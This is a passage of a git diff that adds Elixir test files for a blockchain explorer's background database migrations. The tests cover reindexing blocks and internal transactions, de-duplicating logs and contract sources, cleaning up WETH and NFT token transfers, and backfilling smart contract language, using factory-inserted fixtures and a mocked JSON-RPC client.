ReindexBlocksWithMissingTransactions) + + Application.put_env( + :explorer, + ReindexBlocksWithMissingTransactions, + Keyword.merge(configuration, batch_size: 1, concurrency: 1) + ) + + on_exit(fn -> + Application.put_env(:explorer, ReindexBlocksWithMissingTransactions, configuration) + end) + end + + test "Reindex blocks with missing transactions" do + %{block: %{number: block_number_correct}} = + :transaction + |> insert() + |> with_block() + + correct_block_number_quantity = EthereumJSONRPC.integer_to_quantity(block_number_correct) + + %{block: %{number: block_number_incorrect}} = + :transaction + |> insert() + |> with_block() + + incorrect_block_number_quantity = EthereumJSONRPC.integer_to_quantity(block_number_incorrect) + + expect(EthereumJSONRPC.Mox, :json_rpc, 2, fn + [ + %{ + id: id, + method: "eth_getBlockTransactionCountByNumber", + params: [^correct_block_number_quantity] + } + ], + _ -> + {:ok, [%{id: id, result: "0x1", jsonrpc: "2.0"}]} + + [ + %{ + id: id, + method: "eth_getBlockTransactionCountByNumber", + params: [^incorrect_block_number_quantity] + } + ], + _ -> + {:ok, [%{id: id, result: "0x2", jsonrpc: "2.0"}]} + end) + + assert MigrationStatus.get_status("reindex_blocks_with_missing_transactions") == nil + + ReindexBlocksWithMissingTransactions.start_link([]) + + wait_for_results(fn -> + Repo.one!( + from(ms in MigrationStatus, + where: ms.migration_name == ^"reindex_blocks_with_missing_transactions" and ms.status == "completed" + ) + ) + end) + + assert %{consensus: true, refetch_needed: false} = Repo.get_by(Block, number: block_number_correct) + assert %{consensus: true, refetch_needed: true} = Repo.get_by(Block, number: block_number_incorrect) + end +end diff --git a/apps/explorer/test/explorer/migrator/reindex_duplicated_internal_transactions_test.exs b/apps/explorer/test/explorer/migrator/reindex_duplicated_internal_transactions_test.exs new file mode 100644 index 000000000000..86b591e9ecc4 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/reindex_duplicated_internal_transactions_test.exs @@ -0,0 +1,116 @@ +defmodule Explorer.Migrator.ReindexDuplicatedInternalTransactionsTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.{InternalTransaction, PendingBlockOperation} + alias Explorer.Migrator.{MigrationStatus, ReindexDuplicatedInternalTransactions} + alias Explorer.Repo + + test "Reindex duplicated internal transactions" do + transaction_from_invalid_block_1 = + :transaction + |> insert() + |> with_block() + + Enum.each(1..10, fn index -> + insert( + :internal_transaction, + transaction: transaction_from_invalid_block_1, + index: index, + block_number: transaction_from_invalid_block_1.block_number, + transaction_index: transaction_from_invalid_block_1.index, + block_hash: transaction_from_invalid_block_1.block_hash, + block_index: index + ) + end) + + Enum.each(11..13, fn index -> + insert( + :internal_transaction, + transaction: transaction_from_invalid_block_1, + index: index - 10, + block_number: transaction_from_invalid_block_1.block_number, + transaction_index: transaction_from_invalid_block_1.index, + block_hash: transaction_from_invalid_block_1.block_hash, + block_index: index + ) + end) + + transaction_from_invalid_block_2 = + :transaction + |> insert() + |> with_block() + + Enum.each(1..10, fn index -> + insert( + :internal_transaction, + transaction: transaction_from_invalid_block_2, + index: index, + block_number: transaction_from_invalid_block_2.block_number, + transaction_index: transaction_from_invalid_block_2.index, + block_hash: transaction_from_invalid_block_2.block_hash, + block_index: index + ) + end) + + Enum.each(11..13, fn index -> + insert( + :internal_transaction, + transaction: transaction_from_invalid_block_2, + index: index - 10, + block_number: nil, + transaction_index: transaction_from_invalid_block_2.index, + block_hash: transaction_from_invalid_block_2.block_hash, + block_index: index + ) + end) + + transaction_from_valid_block = + :transaction + |> insert() + |> with_block() + + Enum.each(1..10, fn index -> + insert( + :internal_transaction, + transaction: transaction_from_valid_block, + index: index, + block_number: transaction_from_valid_block.block_number, + transaction_index: transaction_from_valid_block.index, + block_hash: transaction_from_valid_block.block_hash, + block_index: index + ) + end) + + assert MigrationStatus.get_status("reindex_duplicated_internal_transactions") == nil + + ReindexDuplicatedInternalTransactions.start_link([]) + + wait_for_results(fn -> + Repo.one!(from(pbo in PendingBlockOperation, limit: 1)) + end) + + assert MigrationStatus.get_status("reindex_duplicated_internal_transactions") == "completed" + + internal_transactions = Repo.all(InternalTransaction) + + assert Enum.count(internal_transactions) == 10 + + Enum.each(internal_transactions, fn it -> + assert it.block_hash == transaction_from_valid_block.block_hash + end) + + pending_operations = Repo.all(PendingBlockOperation) + + assert Enum.count(pending_operations) == 2 + + assert Enum.any?(pending_operations, fn pbo -> + pbo.block_hash == transaction_from_invalid_block_1.block_hash and + pbo.block_number == transaction_from_invalid_block_1.block_number + end) + + assert Enum.any?(pending_operations, fn pbo -> + pbo.block_hash == transaction_from_invalid_block_2.block_hash and + pbo.block_number == transaction_from_invalid_block_2.block_number + end) + end +end diff --git a/apps/explorer/test/explorer/migrator/reindex_internal_transactions_with_incompatible_status_test.exs b/apps/explorer/test/explorer/migrator/reindex_internal_transactions_with_incompatible_status_test.exs new file mode 100644 index 000000000000..77eb929fde9a --- /dev/null +++ b/apps/explorer/test/explorer/migrator/reindex_internal_transactions_with_incompatible_status_test.exs @@ -0,0 +1,80 @@ +defmodule Explorer.Migrator.ReindexInternalTransactionsWithIncompatibleStatusTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.PendingBlockOperation + alias Explorer.Migrator.{ReindexInternalTransactionsWithIncompatibleStatus, MigrationStatus} + alias Explorer.Repo + + describe "Migrate incorrect internal transactions" do + setup do + config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, Keyword.put(config, :block_traceable?, true)) + + on_exit(fn -> Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, config) end) + end + + test "Adds new pbo for incorrect internal transactions" do + incorrect_block_numbers = + Enum.map(1..5, fn i -> + block = insert(:block) + transaction = :transaction |> insert() |> with_block(block, status: :error) + + insert(:internal_transaction, + index: 10, + transaction: transaction, + block: block, + block_number: block.number, + block_index: i, + error: nil + ) + + block.number + end) + + Enum.each(1..5, fn i -> + block = insert(:block) + transaction = :transaction |> insert() |> with_block(block, status: :error) + + insert(:internal_transaction, + index: 10, + transaction: transaction, + block: block, + block_number: block.number, + block_index: i, + error: "error", + output: nil + ) + end) + + Enum.each(1..5, fn i -> + block = insert(:block) + transaction = :transaction |> insert() |> with_block(block, status: :ok) + + insert(:internal_transaction, + index: 10, + transaction: transaction, + block: block, + block_number: block.number, + block_index: i, + error: nil + ) + end) + + assert MigrationStatus.get_status("reindex_internal_transactions_with_incompatible_status") == nil + assert Repo.all(PendingBlockOperation) == [] + + ReindexInternalTransactionsWithIncompatibleStatus.start_link([]) + Process.sleep(100) + + pbo_block_numbers = + PendingBlockOperation + |> Repo.all() + |> Enum.map(& &1.block_number) + |> Enum.sort() + + assert incorrect_block_numbers == pbo_block_numbers + + assert MigrationStatus.get_status("reindex_internal_transactions_with_incompatible_status") == "completed" + end + end +end diff --git a/apps/explorer/test/explorer/migrator/sanitize_duplicate_smart_contract_additional_sources_test.exs b/apps/explorer/test/explorer/migrator/sanitize_duplicate_smart_contract_additional_sources_test.exs new file mode 100644 index 000000000000..ee9fcbbcda71 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/sanitize_duplicate_smart_contract_additional_sources_test.exs @@ -0,0 +1,76 @@ +defmodule Explorer.Migrator.SanitizeDuplicateSmartContractAdditionalSourcesTest do + use Explorer.DataCase, async: false + + import Ecto.Query + + alias Explorer.Chain.SmartContractAdditionalSource + alias Explorer.Migrator.{MigrationStatus, SanitizeDuplicateSmartContractAdditionalSources} + alias Explorer.Repo + + describe "sanitize duplicates in smart_contracts_additional_sources" do + test "removes duplicate rows keeping a single record per (address_hash, file_name)" do + sc1 = insert(:smart_contract) + sc2 = insert(:smart_contract) + + # for sc1: create duplicates for FileA.sol and a unique FileB.sol + attrs_a = %{address_hash: sc1.address_hash, file_name: "FileA.sol", contract_source_code: "// A1"} + attrs_a_dup = %{address_hash: sc1.address_hash, file_name: "FileA.sol", contract_source_code: "// A2"} + attrs_b = %{address_hash: sc1.address_hash, file_name: "FileB.sol", contract_source_code: "// B"} + + %SmartContractAdditionalSource{} |> SmartContractAdditionalSource.changeset(attrs_a) |> Repo.insert!() + %SmartContractAdditionalSource{} |> SmartContractAdditionalSource.changeset(attrs_a_dup) |> Repo.insert!() + %SmartContractAdditionalSource{} |> SmartContractAdditionalSource.changeset(attrs_b) |> Repo.insert!() + + # for sc2: duplicates for the same file name, independent from sc1 + attrs_c = %{address_hash: sc2.address_hash, file_name: "Common.sol", contract_source_code: "// C1"} + attrs_c_dup = %{address_hash: sc2.address_hash, file_name: "Common.sol", contract_source_code: "// C2"} + + %SmartContractAdditionalSource{} |> SmartContractAdditionalSource.changeset(attrs_c) |> Repo.insert!() + %SmartContractAdditionalSource{} |> SmartContractAdditionalSource.changeset(attrs_c_dup) |> Repo.insert!() + + assert MigrationStatus.get_status("sanitize_duplicate_smart_contract_additional_sources") == nil + + SanitizeDuplicateSmartContractAdditionalSources.start_link([]) + Process.sleep(150) + + # Migration completes and duplicates are deleted + assert MigrationStatus.get_status("sanitize_duplicate_smart_contract_additional_sources") == "completed" + + remaining = + SmartContractAdditionalSource + |> order_by([s], asc: s.address_hash, asc: s.file_name, asc: s.id) + |> Repo.all() + + # Expect one per (address_hash, file_name) + grouped = Enum.group_by(remaining, &{&1.address_hash, &1.file_name}) + assert grouped |> Map.values() |> Enum.all?(fn list -> length(list) == 1 end) + + # Ensure the specific keys exist with a single row + assert Map.has_key?(grouped, {sc1.address_hash, "FileA.sol"}) + assert Map.has_key?(grouped, {sc1.address_hash, "FileB.sol"}) + assert Map.has_key?(grouped, {sc2.address_hash, "Common.sol"}) + end + + test "completes gracefully when there are no duplicates" do + sc = insert(:smart_contract) + + %SmartContractAdditionalSource{} + |> SmartContractAdditionalSource.changeset(%{ + address_hash: sc.address_hash, + file_name: "Unique.sol", + contract_source_code: "// only" + }) + |> Repo.insert!() + + assert MigrationStatus.get_status("sanitize_duplicate_smart_contract_additional_sources") == nil + + SanitizeDuplicateSmartContractAdditionalSources.start_link([]) + Process.sleep(100) + + assert MigrationStatus.get_status("sanitize_duplicate_smart_contract_additional_sources") == "completed" + + count = Repo.aggregate(SmartContractAdditionalSource, :count) + assert count == 1 + end + end +end diff --git a/apps/explorer/test/explorer/migrator/sanitize_duplicated_log_index_logs_test.exs b/apps/explorer/test/explorer/migrator/sanitize_duplicated_log_index_logs_test.exs new file mode 100644 index 000000000000..475a7808bbf1 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/sanitize_duplicated_log_index_logs_test.exs @@ -0,0 +1,166 @@ +defmodule Explorer.Migrator.SanitizeDuplicatedLogIndexLogsTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Chain.Log + alias Explorer.Chain.TokenTransfer + alias Explorer.Chain.Token.Instance + alias Explorer.Migrator.{SanitizeDuplicatedLogIndexLogs, MigrationStatus} + + if Application.compile_env(:explorer, :chain_type) in [:polygon_zkevm, :rsk, :filecoin] do + describe "Sanitize duplicated log index logs" do + setup do + configuration = Application.get_env(:explorer, SanitizeDuplicatedLogIndexLogs) + + Application.put_env( + :explorer, + SanitizeDuplicatedLogIndexLogs, + Keyword.merge(configuration, batch_size: 50_000, concurrency: 10) + ) + + on_exit(fn -> + Application.put_env(:explorer, SanitizeDuplicatedLogIndexLogs, configuration) + end) + end + + test "correctly identifies and updates duplicated log index logs" do + block = insert(:block) + + tx1 = :transaction |> insert() |> with_block(block, index: 0) + tx2 = :transaction |> insert() |> with_block(block, index: 1) + + _log1 = insert(:log, transaction: tx1, index: 3, data: "0x01", block: block, block_number: block.number) + _log2 = insert(:log, transaction: tx1, index: 0, data: "0x02", block: block, block_number: block.number) + _log3 = insert(:log, transaction: tx2, index: 3, data: "0x03", block: block, block_number: block.number) + + log4 = insert(:log) + + assert MigrationStatus.get_status("sanitize_duplicated_log_index_logs") == nil + + SanitizeDuplicatedLogIndexLogs.start_link([]) + :timer.sleep(500) + + assert MigrationStatus.get_status("sanitize_duplicated_log_index_logs") == "completed" + assert BackgroundMigrations.get_sanitize_duplicated_log_index_logs_finished() == true + + updated_logs = + Repo.all(Log |> where([log], log.block_number == ^block.number) |> order_by([log], asc: log.index)) + + Process.sleep(300) + + assert match?( + [ + %{index: 0, data: %Explorer.Chain.Data{bytes: <<2>>}}, + %{index: 1, data: %Explorer.Chain.Data{bytes: <<1>>}}, + %{index: 2, data: %Explorer.Chain.Data{bytes: <<3>>}} + ], + updated_logs + ) + + assert %Log{log4 | address: nil, block: nil, transaction: nil} == %Log{ + Repo.one(Log |> where([log], log.block_number != ^block.number)) + | address: nil, + block: nil, + transaction: nil + } + end + + test "correctly identifies and updates duplicated log index logs & updates corresponding token transfers and token instances" do + block = insert(:block) + token_address = insert(:contract_address) + insert(:token, contract_address: token_address, type: "ERC-721") + + instance = insert(:token_instance, token_contract_address_hash: token_address.hash) + + tx1 = :transaction |> insert() |> with_block(block, index: 0) + tx2 = :transaction |> insert() |> with_block(block, index: 1) + + log1 = insert(:log, transaction: tx1, index: 3, data: "0x01", block: block, block_number: block.number) + log2 = insert(:log, transaction: tx1, index: 0, data: "0x02", block: block, block_number: block.number) + log3 = insert(:log, transaction: tx2, index: 3, data: "0x03", block: block, block_number: block.number) + + log4 = insert(:log) + + _tt1 = + insert(:token_transfer, + token_type: "ERC-721", + block: block, + block_number: block.number, + log_index: log1.index, + token_ids: [instance.token_id], + token_contract_address: token_address, + token_contract_address_hash: token_address.hash, + transaction: tx1, + transaction_hash: tx1.hash, + block_hash: block.hash + ) + + _tt2 = + insert(:token_transfer, + block: block, + block_number: block.number, + log_index: log2.index, + transaction: tx1, + transaction_hash: tx1.hash + ) + + _tt3 = + insert(:token_transfer, + block: block, + block_number: block.number, + log_index: log3.index, + transaction: tx2, + transaction_hash: tx2.hash + ) + + Instance.changeset(instance, %{owner_updated_at_block: block.number, owner_updated_at_log_index: log1.index}) + |> Repo.update!() + + assert MigrationStatus.get_status("sanitize_duplicated_log_index_logs") == nil + + SanitizeDuplicatedLogIndexLogs.start_link([]) + :timer.sleep(500) + + assert MigrationStatus.get_status("sanitize_duplicated_log_index_logs") == "completed" + assert BackgroundMigrations.get_sanitize_duplicated_log_index_logs_finished() == true + + Process.sleep(300) + + updated_logs = + Repo.all(Log |> where([log], log.block_number == ^block.number) |> order_by([log], asc: log.index)) + + assert match?( + [ + %{index: 0, data: %Explorer.Chain.Data{bytes: <<2>>}}, + %{index: 1, data: %Explorer.Chain.Data{bytes: <<1>>}}, + %{index: 2, data: %Explorer.Chain.Data{bytes: <<3>>}} + ], + updated_logs + ) + + block_number = block.number + assert [%{owner_updated_at_block: ^block_number, owner_updated_at_log_index: 1}] = Repo.all(Instance) + + assert [%{log_index: 1, block_number: ^block_number}] = + Repo.all(TokenTransfer |> where([tt], tt.token_type == "ERC-721")) + + assert %Log{log4 | address: nil, block: nil, transaction: nil} == %Log{ + Repo.one(Log |> where([log], log.block_number != ^block.number)) + | address: nil, + block: nil, + transaction: nil + } + end + + test "correctly handles cases where there are no duplicated log index logs" do + assert MigrationStatus.get_status("sanitize_duplicated_log_index_logs") == nil + + SanitizeDuplicatedLogIndexLogs.start_link([]) + :timer.sleep(100) + + assert MigrationStatus.get_status("sanitize_duplicated_log_index_logs") == "completed" + assert BackgroundMigrations.get_sanitize_duplicated_log_index_logs_finished() == true + end + end + end +end diff --git a/apps/explorer/test/explorer/migrator/sanitize_empty_contract_code_addresses_test.exs b/apps/explorer/test/explorer/migrator/sanitize_empty_contract_code_addresses_test.exs new file mode 100644 index 000000000000..14fa500d579f --- /dev/null +++ b/apps/explorer/test/explorer/migrator/sanitize_empty_contract_code_addresses_test.exs @@ -0,0 +1,79 @@ +defmodule Explorer.Migrator.SanitizeEmptyContractCodeAddressesTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Address + alias Explorer.Migrator.{SanitizeEmptyContractCodeAddresses, MigrationStatus} + alias Explorer.Repo + + describe "sanitize addresses with empty contract code" do + test "sets contract_code to '0x' for addresses that originally had nil code" do + # Create addresses with empty contract code "0x" that should be updated + addresses_to_update = + Enum.map(1..5, fn _ -> + address = insert(:address, contract_code: nil) + + # Associate each address with a transaction as created_contract_address_hash + insert(:transaction, + created_contract_address_hash: address.hash, + status: :error + ) + + address + end) + + # Create addresses with non-empty contract code (shouldn't be updated) + addresses_with_code = + Enum.map(1..3, fn _ -> + address = insert(:address, contract_code: "0x1234") + insert(:transaction, created_contract_address_hash: address.hash) + address + end) + + addresses_with_not_yet_fetched_bytecode = + Enum.map(1..3, fn _ -> + address = insert(:address, contract_code: nil) + block = insert(:block) + + insert(:transaction, + block_hash: block.hash, + block_number: block.number, + created_contract_address_hash: address.hash, + cumulative_gas_used: 21000, + gas_used: 21000, + index: 0, + status: :ok + ) + + address + end) + + # Verify initial state + assert MigrationStatus.get_status("sanitize_empty_contract_code_addresses") == nil + + # Run the migration + SanitizeEmptyContractCodeAddresses.start_link([]) + Process.sleep(100) + + # Check that addresses with `nil` and associated transactions had their contract_code set to "0x" + for address <- addresses_to_update do + updated_address = Repo.get(Address, address.hash) + assert to_string(updated_address.contract_code) == "0x" + end + + # Check that addresses with actual contract code weren't changed + for address <- addresses_with_code do + unchanged_address = Repo.get(Address, address.hash) + assert to_string(unchanged_address.contract_code) == "0x1234" + end + + # Check that addresses with not yet fetched bytecode weren't changed + for address <- addresses_with_not_yet_fetched_bytecode do + unchanged_address = Repo.get(Address, address.hash) + assert unchanged_address.contract_code == nil + end + + # Check migration status + assert MigrationStatus.get_status("sanitize_empty_contract_code_addresses") == "completed" + end + end +end diff --git a/apps/explorer/test/explorer/migrator/sanitize_incorrect_nft_token_transfers_test.exs b/apps/explorer/test/explorer/migrator/sanitize_incorrect_nft_token_transfers_test.exs new file mode 100644 index 000000000000..8ede4a09c853 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/sanitize_incorrect_nft_token_transfers_test.exs @@ -0,0 +1,71 @@ +defmodule Explorer.Migrator.SanitizeIncorrectNFTTokenTransfersTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.{Block, TokenTransfer} + alias Explorer.Migrator.{SanitizeIncorrectNFTTokenTransfers, MigrationStatus} + alias Explorer.Repo + + describe "Migrate token transfers" do + test "Handles delete and re-fetch" do + %{contract_address: token_address} = insert(:token, type: "ERC-721") + block = insert(:block, consensus: true) + + insert(:token_transfer, + from_address: insert(:address), + block: block, + block_number: block.number, + token_contract_address: token_address, + token_ids: nil, + token_type: "ERC-721" + ) + + deposit_log = insert(:log, first_topic: TokenTransfer.weth_deposit_signature(), address: token_address) + + tt = + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: token_address, + block: deposit_log.block, + transaction: deposit_log.transaction, + log_index: deposit_log.index + ) + + assert deposit_log.block_hash == tt.block_hash and deposit_log.transaction_hash == tt.transaction_hash and + deposit_log.index == tt.log_index + + assert tt.token_contract_address_hash == deposit_log.address_hash + + withdrawal_log = insert(:log, first_topic: TokenTransfer.weth_withdrawal_signature(), address: token_address) + + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: token_address, + block: withdrawal_log.block, + transaction: withdrawal_log.transaction, + log_index: withdrawal_log.index + ) + + erc1155_token = insert(:token, type: "ERC-1155") + + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: erc1155_token.contract_address, + amount: nil, + amounts: nil, + token_ids: nil, + token_type: "ERC-1155" + ) + + assert MigrationStatus.get_status("sanitize_incorrect_nft") == nil + + SanitizeIncorrectNFTTokenTransfers.start_link([]) + Process.sleep(100) + + assert MigrationStatus.get_status("sanitize_incorrect_nft") == "completed" + + token_address_hash = token_address.hash + assert %{token_contract_address_hash: ^token_address_hash, token_ids: nil} = Repo.one(TokenTransfer) + assert %{consensus: true, refetch_needed: true} = Repo.get_by(Block, hash: block.hash) + end + end +end diff --git a/apps/explorer/test/explorer/migrator/sanitize_incorrect_weth_token_transfers_test.exs b/apps/explorer/test/explorer/migrator/sanitize_incorrect_weth_token_transfers_test.exs new file mode 100644 index 000000000000..5d9b7246e260 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/sanitize_incorrect_weth_token_transfers_test.exs @@ -0,0 +1,181 @@ +defmodule Explorer.Migrator.SanitizeIncorrectWETHTokenTransfersTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.TokenTransfer + alias Explorer.Migrator.{SanitizeIncorrectWETHTokenTransfers, MigrationStatus} + alias Explorer.Repo + + describe "SanitizeIncorrectWETHTokenTransfers" do + test "Deletes not whitelisted WETH transfers and duplicated WETH transfers" do + %{contract_address: token_address} = insert(:token, type: "ERC-20") + block = insert(:block, consensus: true) + burn_address = insert(:address, hash: "0x0000000000000000000000000000000000000000") + + insert(:token_transfer, + from_address: insert(:address), + block: block, + block_number: block.number, + token_contract_address: token_address, + token_ids: nil + ) + + deposit_log = insert(:log, first_topic: TokenTransfer.weth_deposit_signature()) + + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: token_address, + block: deposit_log.block, + transaction: deposit_log.transaction, + log_index: deposit_log.index + ) + + withdrawal_log = insert(:log, first_topic: TokenTransfer.weth_withdrawal_signature()) + + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: token_address, + block: withdrawal_log.block, + transaction: withdrawal_log.transaction, + log_index: withdrawal_log.index + ) + + %{contract_address: whitelisted_token_address} = insert(:token, type: "ERC-20") + + env = Application.get_env(:explorer, Explorer.Chain.TokenTransfer) + + Application.put_env( + :explorer, + Explorer.Chain.TokenTransfer, + env + |> Keyword.put(:whitelisted_weth_contracts, [whitelisted_token_address |> to_string() |> String.downcase()]) + |> Keyword.put(:weth_token_transfers_filtering_enabled, true) + ) + + withdrawal_log = insert(:log, first_topic: TokenTransfer.weth_withdrawal_signature()) + + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: whitelisted_token_address, + block: withdrawal_log.block, + transaction: withdrawal_log.transaction, + log_index: withdrawal_log.index + ) + + deposit_log = insert(:log, first_topic: TokenTransfer.weth_deposit_signature()) + + insert(:token_transfer, + from_address: insert(:address), + token_contract_address: whitelisted_token_address, + block: deposit_log.block, + transaction: deposit_log.transaction, + log_index: deposit_log.index + ) + + withdrawal_log_duplicate = + insert(:log, first_topic: TokenTransfer.weth_withdrawal_signature(), address: whitelisted_token_address) + + tt_withdrawal = + insert(:token_transfer, + from_address: burn_address, + token_contract_address: whitelisted_token_address, + block: withdrawal_log_duplicate.block, + transaction: withdrawal_log_duplicate.transaction, + log_index: withdrawal_log_duplicate.index + ) + + withdrawal_log_duplicate_original = + insert(:log, + first_topic: TokenTransfer.constant(), + address: whitelisted_token_address, + transaction: withdrawal_log_duplicate.transaction, + block: withdrawal_log_duplicate.block + ) + + insert(:token_transfer, + from_address: burn_address, + to_address: tt_withdrawal.to_address, + token_contract_address: whitelisted_token_address, + block: withdrawal_log_duplicate_original.block, + transaction: withdrawal_log_duplicate_original.transaction, + log_index: withdrawal_log_duplicate_original.index, + amount: tt_withdrawal.amount + ) + + deposit_log_duplicate = insert(:log, first_topic: TokenTransfer.weth_deposit_signature()) + + tt_deposit = + insert(:token_transfer, + to_address: burn_address, + token_contract_address: whitelisted_token_address, + block: deposit_log_duplicate.block, + transaction: deposit_log_duplicate.transaction, + log_index: deposit_log_duplicate.index + ) + + deposit_log_duplicate_original = + insert(:log, + first_topic: TokenTransfer.constant(), + address: whitelisted_token_address, + transaction: deposit_log_duplicate.transaction, + block: deposit_log_duplicate.block + ) + + insert(:token_transfer, + from_address: tt_deposit.from_address, + to_address: burn_address, + token_contract_address: whitelisted_token_address, + block: deposit_log_duplicate_original.block, + transaction: deposit_log_duplicate_original.transaction, + log_index: deposit_log_duplicate_original.index, + amount: tt_deposit.amount + ) + + assert MigrationStatus.get_status("sanitize_incorrect_weth_transfers") == nil + + Application.put_env(:explorer, Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers, + batch_size: 1, + concurrency: 1, + timeout: 0 + ) + + SanitizeIncorrectWETHTokenTransfers.start_link([]) + Process.sleep(100) + + assert MigrationStatus.get_status("sanitize_incorrect_weth_transfers") == "completed" + + token_address_hash = token_address.hash + whitelisted_token_address_hash = whitelisted_token_address.hash + + assert [ + %{token_contract_address_hash: ^token_address_hash}, + %{token_contract_address_hash: ^whitelisted_token_address_hash}, + %{token_contract_address_hash: ^whitelisted_token_address_hash}, + %{token_contract_address_hash: ^whitelisted_token_address_hash}, + %{token_contract_address_hash: ^whitelisted_token_address_hash} + ] = transfers = Repo.all(TokenTransfer, order_by: [asc: :block_number, asc: :log_index]) + + withdrawal = Enum.at(transfers, 1) + deposit = Enum.at(transfers, 2) + assert withdrawal.block_hash == withdrawal_log.block_hash + assert withdrawal.transaction_hash == withdrawal_log.transaction_hash + assert withdrawal.log_index == withdrawal_log.index + + assert deposit.block_hash == deposit_log.block_hash + assert deposit.transaction_hash == deposit_log.transaction_hash + assert deposit.log_index == deposit_log.index + + withdrawal_analogue = Enum.at(transfers, 3) + deposit_analogue = Enum.at(transfers, 4) + + assert withdrawal_analogue.block_hash == withdrawal_log_duplicate.block_hash + assert withdrawal_analogue.transaction_hash == withdrawal_log_duplicate.transaction_hash + assert withdrawal_analogue.log_index == withdrawal_log_duplicate_original.index + + assert deposit_analogue.block_hash == deposit_log_duplicate.block_hash + assert deposit_analogue.transaction_hash == deposit_log_duplicate.transaction_hash + assert deposit_analogue.log_index == deposit_log_duplicate_original.index + + Application.put_env(:explorer, Explorer.Chain.TokenTransfer, env) + end + end +end diff --git a/apps/explorer/test/explorer/migrator/sanitize_missing_token_balances_test.exs b/apps/explorer/test/explorer/migrator/sanitize_missing_token_balances_test.exs new file mode 100644 index 000000000000..e8c990e2011e --- /dev/null +++ b/apps/explorer/test/explorer/migrator/sanitize_missing_token_balances_test.exs @@ -0,0 +1,52 @@ +defmodule Explorer.Migrator.SanitizeMissingTokenBalancesTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.Address.{CurrentTokenBalance, TokenBalance} + alias Explorer.Migrator.{SanitizeMissingTokenBalances, MigrationStatus} + alias Explorer.Repo + + describe "Migrate token balances" do + test "Unset value and value_fetched_at for token balances related to not processed current token balances" do + Enum.each(0..10, fn _x -> + token_balance = insert(:token_balance) + + insert(:token_balance, + address: token_balance.address, + token_contract_address_hash: token_balance.token_contract_address_hash, + token_id: token_balance.token_id + ) + + insert(:address_current_token_balance, + address: token_balance.address, + token_contract_address_hash: token_balance.token_contract_address_hash, + token_id: token_balance.token_id, + value: nil, + value_fetched_at: nil + ) + + refute is_nil(token_balance.value) + refute is_nil(token_balance.value_fetched_at) + end) + + assert MigrationStatus.get_status("sanitize_missing_token_balances") == nil + + SanitizeMissingTokenBalances.start_link([]) + Process.sleep(100) + + TokenBalance + |> Repo.all() + |> Enum.group_by(&{&1.address_hash, &1.token_contract_address_hash, &1.token_id}) + |> Enum.each(fn {_, tbs} -> + assert [%{value: nil, value_fetched_at: nil}, %{value: old_value, value_fetched_at: old_value_fetched_at}] = + Enum.sort_by(tbs, & &1.block_number, &>=/2) + + refute is_nil(old_value) + refute is_nil(old_value_fetched_at) + end) + + assert Repo.all(CurrentTokenBalance) == [] + + assert MigrationStatus.get_status("sanitize_missing_token_balances") == "completed" + end + end +end diff --git a/apps/explorer/test/explorer/migrator/smart_contract_language_test.exs b/apps/explorer/test/explorer/migrator/smart_contract_language_test.exs new file mode 100644 index 000000000000..4fafc7285cb3 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/smart_contract_language_test.exs @@ -0,0 +1,51 @@ +defmodule Explorer.Migrator.SmartContractLanguageTest do + use Explorer.DataCase, async: false + + alias Explorer.Migrator.{MigrationStatus, SmartContractLanguage} + alias Explorer.Chain.{Cache.BackgroundMigrations, SmartContract} + alias Explorer.Repo + + defp create_contracts(attrs) do + for _ <- 1..10, do: insert(:smart_contract, attrs) + end + + describe "smart_contract_language migration" do + test "backfills language for vyper, yul, solidity" do + # Create groups of contracts with different attributes + vyper_contracts = + create_contracts(is_vyper_contract: true, language: nil) + + yul_contracts = + create_contracts(is_vyper_contract: false, abi: nil, language: nil) + + solidity_contracts = + create_contracts(is_vyper_contract: false, language: nil) + + # Ensure migration has not run yet + assert MigrationStatus.get_status("smart_contract_language") == nil + + # Start the migration process and wait briefly for it to complete + SmartContractLanguage.start_link([]) + Process.sleep(200) + + # Confirm that the contracts have been updated with the correct language + [ + {vyper_contracts, :vyper}, + {yul_contracts, :yul}, + {solidity_contracts, :solidity} + ] + |> Enum.each(fn {contracts, expected_language} -> + updated = + SmartContract + |> where([sc], sc.address_hash in ^Enum.map(contracts, & &1.address_hash)) + |> Repo.all() + + assert Enum.all?(updated, &(&1.language == expected_language)) + end) + + # Confirm the migration status has been marked as completed + assert MigrationStatus.get_status("smart_contract_language") == "completed" + assert BackgroundMigrations.get_smart_contract_language_finished() + end + end +end diff --git a/apps/explorer/test/explorer/migrator/switch_pending_operations_test.exs b/apps/explorer/test/explorer/migrator/switch_pending_operations_test.exs new file mode 100644 index 000000000000..64e5c23091f0 --- /dev/null +++ b/apps/explorer/test/explorer/migrator/switch_pending_operations_test.exs @@ -0,0 +1,91 @@ +defmodule Explorer.Migrator.SwitchPendingOperationsTest do + use Explorer.DataCase, async: false + + alias Explorer.Chain.{PendingBlockOperation, PendingTransactionOperation} + alias Explorer.Migrator.SwitchPendingOperations + alias Explorer.Repo + + describe "transfuse data" do + setup do + initial_config_json_rpc = Application.get_env(:explorer, :json_rpc_named_arguments) + initial_config_geth = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + + on_exit(fn -> + Application.put_env(:explorer, :json_rpc_named_arguments, initial_config_json_rpc) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, initial_config_geth) + end) + end + + # TODO: remove tag after the migration of internal transactions PK to [:block_hash, 